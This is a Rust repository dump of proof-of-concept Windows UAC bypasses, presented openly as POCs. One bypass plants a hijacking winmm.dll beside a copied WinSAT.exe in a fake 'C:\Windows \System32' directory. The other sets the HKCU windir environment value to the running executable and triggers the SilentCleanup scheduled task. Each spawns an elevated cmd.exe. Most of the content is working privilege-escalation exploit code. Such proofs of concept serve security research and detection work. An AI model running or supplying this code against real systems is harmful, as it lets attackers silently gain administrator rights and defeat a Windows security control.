├── .cargo └── config.toml ├── .gitignore ├── .gitpod.yml ├── Cargo.toml ├── LICENSE ├── README.md ├── common ├── Cargo.toml └── src │ ├── lib.rs │ ├── registry.rs │ └── scheduled_tasks.rs ├── rust-toolchain.toml └── uac-bypasses ├── mock-trusted-directories ├── Cargo.toml ├── README.md ├── dll │ ├── Cargo.toml │ └── src │ │ └── lib.rs └── src │ └── main.rs └── windir-with-silentcleanup-task ├── Cargo.toml ├── README.md └── src ├── lib.rs └── main.rs /.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [unstable] 2 | bindeps = true 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | target/ 4 | dll-target/ 5 | 6 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 7 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 8 | Cargo.lock 9 | 10 | # These are backup files generated by rustfmt 11 | **/*.rs.bk 12 | -------------------------------------------------------------------------------- /.gitpod.yml: -------------------------------------------------------------------------------- 1 | tasks: 2 | - command: | 3 | sudo apt-get install -y gcc-mingw-w64-x86-64 4 | rustup target add x86_64-pc-windows-gnu 5 | 6 | cargo build --release --target x86_64-pc-windows-gnu 7 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "uac-bypasses/windir-with-silentcleanup-task", 4 | "uac-bypasses/mock-trusted-directories", 5 | "common", 6 | ] 7 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Jay Jackson 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # POCs built in Rust 2 | 3 | ## UAC Bypasses 4 | 5 | - [mock-trusted-directories](./uac-bypasses/mock-trusted-directories) - bypasses UAC by using a fake trusted directory. 6 | - [windir-with-silentcleanup-task](./uac-bypasses/windir-with-silentcleanup-task) - bypasses UAC by mocking the `WinDir` environment variable, and using the `SilentCleanup` task. 7 | 8 | All of these POCs execute `cmd.exe` by default. 9 | -------------------------------------------------------------------------------- /common/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "common" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | windows = { version = "0.37", features = [ 10 | "Win32_Foundation", 11 | "Win32_UI_Shell", 12 | "Win32_System_Registry", 13 | "Win32_UI_Shell_PropertiesSystem", 14 | "Win32_System_Ole", 15 | "Win32_System_Com", 16 | "Win32_System_TaskScheduler", 17 | ] } 18 | -------------------------------------------------------------------------------- /common/src/lib.rs: -------------------------------------------------------------------------------- 1 | /// Returns true if the current process has admin rights, otherwise false. 2 | pub fn is_elevated() -> bool { 3 | unsafe { windows::Win32::UI::Shell::IsUserAnAdmin().as_bool() } 4 | } 5 | 6 | pub mod scheduled_tasks; 7 | 8 | pub mod registry; 9 | -------------------------------------------------------------------------------- /common/src/registry.rs: -------------------------------------------------------------------------------- 1 | use std::{ffi::CString, path::Path}; 2 | use windows::{ 3 | core::PCSTR, 4 | Win32::System::Registry::{ 5 | RegCloseKey, RegDeleteValueA, RegOpenKeyExA, RegSetValueExA, HKEY, KEY_WRITE, REG_SZ, 6 | }, 7 | }; 8 | 9 | pub use windows::Win32::System::Registry::{ 10 | HKEY_CLASSES_ROOT, HKEY_CURRENT_CONFIG, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, 11 | }; 12 | 13 | #[derive(Debug)] 14 | struct StringError(String); 15 | 16 | impl std::fmt::Display for StringError { 17 | fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result { 18 | write!(f, "{}", self.0) 19 | } 20 | } 21 | 22 | impl std::error::Error for StringError {} 23 | 24 | pub fn set_value( 25 | root: HKEY, 26 | value_path: impl AsRef, 27 | value: impl AsRef, 28 | ) -> Result<(), Box> { 29 | let value = value.as_ref(); 30 | let value_path = value_path.as_ref(); 31 | 32 | println!("[+] Setting the {} registry value...", value_path.display()); 33 | 34 | let mut hkey = HKEY::default(); 35 | 36 | let subkey = CString::new( 37 | value_path 38 | .parent() 39 | .unwrap() 40 | .file_name() 41 | .unwrap() 42 | .to_str() 43 | .unwrap(), 44 | )?; 45 | let subkey = PCSTR(subkey.as_ptr() as _); 46 | 47 | let value_name = CString::new(value_path.file_name().unwrap().to_str().unwrap())?; 48 | let value_name = PCSTR(value_name.as_ptr() as _); 49 | 50 | { 51 | let res = unsafe { RegOpenKeyExA(root, subkey, 0, KEY_WRITE, &mut hkey) }; 52 | 53 | if res.is_err() { 54 | return Err(Box::new(StringError(format!( 55 | "Error calling RegOpenKeyExA: {:#?}", 56 | std::io::Error::from_raw_os_error(res.0 as i32) 57 | )))); 58 | }; 59 | } 60 | 61 | { 62 | let res = unsafe { 63 | RegSetValueExA( 64 | hkey, 65 | value_name, 66 | 0, 67 | REG_SZ, 68 | value.as_ptr(), 69 | value.len() as u32, 70 | ) 71 | }; 72 | 73 | if res.is_err() { 74 | unsafe { RegCloseKey(hkey) }; 75 | 76 | return Err(Box::new(StringError(format!( 77 | "Error calling RegSetValueExA: {:#?}", 78 | std::io::Error::from_raw_os_error(res.0 as i32), 79 | )))); 80 | }; 81 | 82 | unsafe { RegCloseKey(hkey) }; 83 | } 84 | 85 | Ok(()) 86 | } 87 | 88 | pub fn delete_value( 89 | root: HKEY, 90 | value_path: impl AsRef, 91 | ) -> Result<(), Box> { 92 | let value_path = value_path.as_ref(); 93 | 94 | println!("[+] Deleting the {} registry key...", value_path.display()); 95 | 96 | let mut hkey = HKEY::default(); 97 | 98 | let subkey = CString::new( 99 | value_path 100 | .parent() 101 | .unwrap() 102 | .file_name() 103 | .unwrap() 104 | .to_str() 105 | .unwrap(), 106 | ) 107 | .unwrap(); 108 | let subkey = PCSTR(subkey.as_ptr() as _); 109 | 110 | let value_name = CString::new(value_path.file_name().unwrap().to_str().unwrap())?; 111 | let value_name = PCSTR(value_name.as_ptr() as _); 112 | 113 | { 114 | let res = unsafe { RegOpenKeyExA(root, subkey, 0, KEY_WRITE, &mut hkey) }; 115 | 116 | if res.is_err() { 117 | return Err(Box::new(StringError(format!( 118 | "Error calling RegOpenKeyExA: {:#?}", 119 | std::io::Error::from_raw_os_error(res.0 as i32) 120 | )))); 121 | }; 122 | } 123 | 124 | { 125 | let res = unsafe { RegDeleteValueA(hkey, value_name) }; 126 | 127 | if res.is_err() { 128 | unsafe { RegCloseKey(hkey) }; 129 | 130 | panic!( 131 | "Error calling RegDeleteValueA: {:#?}", 132 | std::io::Error::from_raw_os_error(res.0 as i32) 133 | ); 134 | }; 135 | } 136 | 137 | { 138 | let res = unsafe { RegCloseKey(hkey) }; 139 | 140 | if res.is_err() { 141 | panic!( 142 | "Error calling RegCloseKey: {:#?}", 143 | std::io::Error::from_raw_os_error(res.0 as i32) 144 | ); 145 | }; 146 | } 147 | 148 | Ok(()) 149 | } 150 | -------------------------------------------------------------------------------- /common/src/scheduled_tasks.rs: -------------------------------------------------------------------------------- 1 | use std::{ffi::OsString, os::windows::prelude::OsStrExt, path::Path, ptr}; 2 | use windows::{ 3 | core::PWSTR, 4 | Win32::{ 5 | Foundation::BSTR, 6 | System::{ 7 | Com::{CoCreateInstance, CoInitialize, CoUninitialize, CLSCTX_INPROC_SERVER}, 8 | Ole::VariantClear, 9 | TaskScheduler::{ITaskService, TaskScheduler, TASK_RUN_IGNORE_CONSTRAINTS}, 10 | }, 11 | UI::Shell::PropertiesSystem::InitVariantFromStringArray, 12 | }, 13 | }; 14 | 15 | pub fn run_task( 16 | task: impl AsRef, 17 | params: impl Into>>, 18 | ) -> Result<(), Box> { 19 | let task = task.as_ref(); 20 | 21 | println!("[+] Running the {} task...", task.display()); 22 | 23 | unsafe { CoInitialize(ptr::null_mut())? }; 24 | 25 | unsafe { 26 | let task_service = 27 | CoCreateInstance::<_, ITaskService>(&TaskScheduler, None, CLSCTX_INPROC_SERVER)?; 28 | 29 | task_service.Connect(None, None, None, None)?; 30 | 31 | let task = task_service 32 | .GetFolder(BSTR::from(task.parent().unwrap().to_str().unwrap()))? 33 | .GetTask(BSTR::from(task.file_name().unwrap().to_str().unwrap()))?; 34 | 35 | let variant = if let Some(params) = params.into() { 36 | let params = params 37 | .into_iter() 38 | .map(|param| { 39 | PWSTR( 40 | OsString::from(¶m) 41 | .encode_wide() 42 | .collect::>() 43 | .as_mut_ptr(), 44 | ) 45 | }) 46 | .collect::>(); 47 | 48 | Some(InitVariantFromStringArray(¶ms)?) 49 | } else { 50 | None 51 | }; 52 | 53 | task.RunEx(variant.clone(), TASK_RUN_IGNORE_CONSTRAINTS.0, 0, None)?; 54 | 55 | if let Some(mut variant) = variant { 56 | VariantClear(&mut variant)?; 57 | } 58 | } 59 | 60 | unsafe { CoUninitialize() }; 61 | 62 | Ok(()) 63 | } 64 | -------------------------------------------------------------------------------- /rust-toolchain.toml: -------------------------------------------------------------------------------- 1 | [toolchain] 2 | # if this doesn't work, try looking 3 | # in https://rust-lang.github.io/rustup-components-history/ 4 | # and find one that contains all these components 5 | channel = "nightly" 6 | components = ["cargo", "rustfmt", "clippy", "rust-analysis", "rust-std"] 7 | profile = "minimal" 8 | -------------------------------------------------------------------------------- /uac-bypasses/mock-trusted-directories/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "mock-trusted-directories" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | dll = { path = "dll", artifact = "cdylib" } 10 | -------------------------------------------------------------------------------- /uac-bypasses/mock-trusted-directories/README.md: -------------------------------------------------------------------------------- 1 | # Rust UAC Bypass Proof Of Concept Without Always Notify Enabled 2 | 3 | A proof of concept for a UAC bypass using Rust by mocking trusted directories. 4 | See https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e for more information on how the bypass works. 5 | 6 | To get started, just install Rust, and execute `cargo run`. To edit the dll, just go to [dll/src/lib.rs](./dll/src/lib.rs) 7 | -------------------------------------------------------------------------------- /uac-bypasses/mock-trusted-directories/dll/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "dll" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [lib] 7 | crate-type = ["cdylib"] 8 | -------------------------------------------------------------------------------- /uac-bypasses/mock-trusted-directories/dll/src/lib.rs: -------------------------------------------------------------------------------- 1 | use std::sync::atomic::{AtomicBool, Ordering}; 2 | 3 | static HAS_RUN: AtomicBool = AtomicBool::new(false); 4 | 5 | #[no_mangle] 6 | pub extern "C" fn DllMain() { 7 | if !HAS_RUN.swap(true, Ordering::Relaxed) { 8 | // do whatever you want here with admin privileges. 9 | // in this case, I just spawn a command prompt. 10 | let _ = std::process::Command::new("cmd.exe").spawn(); 11 | } 12 | } 13 | 14 | #[no_mangle] 15 | pub extern "C" fn timeBeginPeriod() { 16 | // do nothing 17 | } 18 | 19 | #[no_mangle] 20 | pub extern "C" fn timeEndPeriod() { 21 | // do nothing 22 | } 23 | -------------------------------------------------------------------------------- /uac-bypasses/mock-trusted-directories/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::{fs, os::windows::process::CommandExt, process::Command}; 2 | 3 | static WINMM_DLL: &[u8] = std::include_bytes!(env!("CARGO_CDYLIB_FILE_DLL")); 4 | 5 | const DETACHED_PROCESS: u32 = 0x00000008; 6 | 7 | pub fn main() -> Result<(), Box> { 8 | let windir = std::path::Path::new(r"C:\Windows\System32"); 9 | let fake_windir = std::path::Path::new(r"C:\Windows \System32"); 10 | 11 | println!("[+] Creating fake directory {}...", fake_windir.display()); 12 | fs::create_dir_all(fake_windir.parent().unwrap()) 13 | .and_then(|_| fs::create_dir_all(fake_windir))?; 14 | 15 | let winsat = &*windir.join("WinSAT.exe"); 16 | let fake_winsat = &*fake_windir.join("WinSAT.exe"); 17 | 18 | println!( 19 | "[+] Copying {} to {}...", 20 | winsat.display(), 21 | fake_winsat.display() 22 | ); 23 | 24 | if let Err(err) = fs::copy(winsat, fake_winsat) { 25 | println!( 26 | "[!] Error copying {} to {}: {err}", 27 | winsat.display(), 28 | fake_winsat.display() 29 | ); 30 | std::process::exit(1); 31 | }; 32 | 33 | let fake_winmm = &*fake_windir.join("winmm.dll"); 34 | 35 | println!("[+] Creating {}...", fake_winmm.display()); 36 | if let Err(err) = fs::write(fake_winmm, WINMM_DLL) { 37 | println!("[!] Error writing {}: {err}", fake_winmm.display()); 38 | std::process::exit(1); 39 | } 40 | 41 | println!("[+] Starting {}...", fake_winsat.display()); 42 | 43 | Command::new("cmd.exe") 44 | .args(["/C", fake_winsat.to_str().unwrap()]) 45 | .creation_flags(DETACHED_PROCESS) 46 | .spawn()?; 47 | 48 | if let Err(err) = fs::remove_dir_all(fake_windir) { 49 | println!("[!] Error removing {}: {err}", fake_windir.display()); 50 | std::process::exit(1); 51 | } 52 | 53 | Ok(()) 54 | } 55 | -------------------------------------------------------------------------------- /uac-bypasses/windir-with-silentcleanup-task/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "windir-with-silentcleanup-task" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | common = { path = "../../common" } 10 | -------------------------------------------------------------------------------- /uac-bypasses/windir-with-silentcleanup-task/README.md: -------------------------------------------------------------------------------- 1 | Based on [DmitrijVC/UAC-Bypass](https://github.com/DmitrijVC/UAC-Bypass), but directly using the Windows API, instead of CMD. 2 | -------------------------------------------------------------------------------- /uac-bypasses/windir-with-silentcleanup-task/src/lib.rs: -------------------------------------------------------------------------------- 1 | pub fn elevate(cb: fn()) -> Result<(), Box> { 2 | // Check the elevation 3 | if !common::is_elevated() { 4 | let value_path = &r"Environment\windir"; 5 | 6 | // Add the "windir" registry key 7 | common::registry::set_value( 8 | common::registry::HKEY_CURRENT_USER, 9 | value_path, 10 | &format!("\"{}\"", std::env::current_exe().unwrap().to_string_lossy()), 11 | ) 12 | .unwrap(); 13 | 14 | // Run the SilentCleanup task 15 | common::scheduled_tasks::run_task(r"\Microsoft\Windows\DiskCleanup\SilentCleanup", None) 16 | .unwrap(); 17 | 18 | // Delete the "windir" registry key 19 | common::registry::delete_value(common::registry::HKEY_CURRENT_USER, value_path)?; 20 | } else { 21 | cb(); 22 | } 23 | 24 | Ok(()) 25 | } 26 | -------------------------------------------------------------------------------- /uac-bypasses/windir-with-silentcleanup-task/src/main.rs: -------------------------------------------------------------------------------- 1 | fn main() -> Result<(), Box> { 2 | windir_with_silentcleanup_task::elevate(|| { 3 | let _ = std::process::Command::new("cmd.exe").spawn(); 4 | }) 5 | } 6 | --------------------------------------------------------------------------------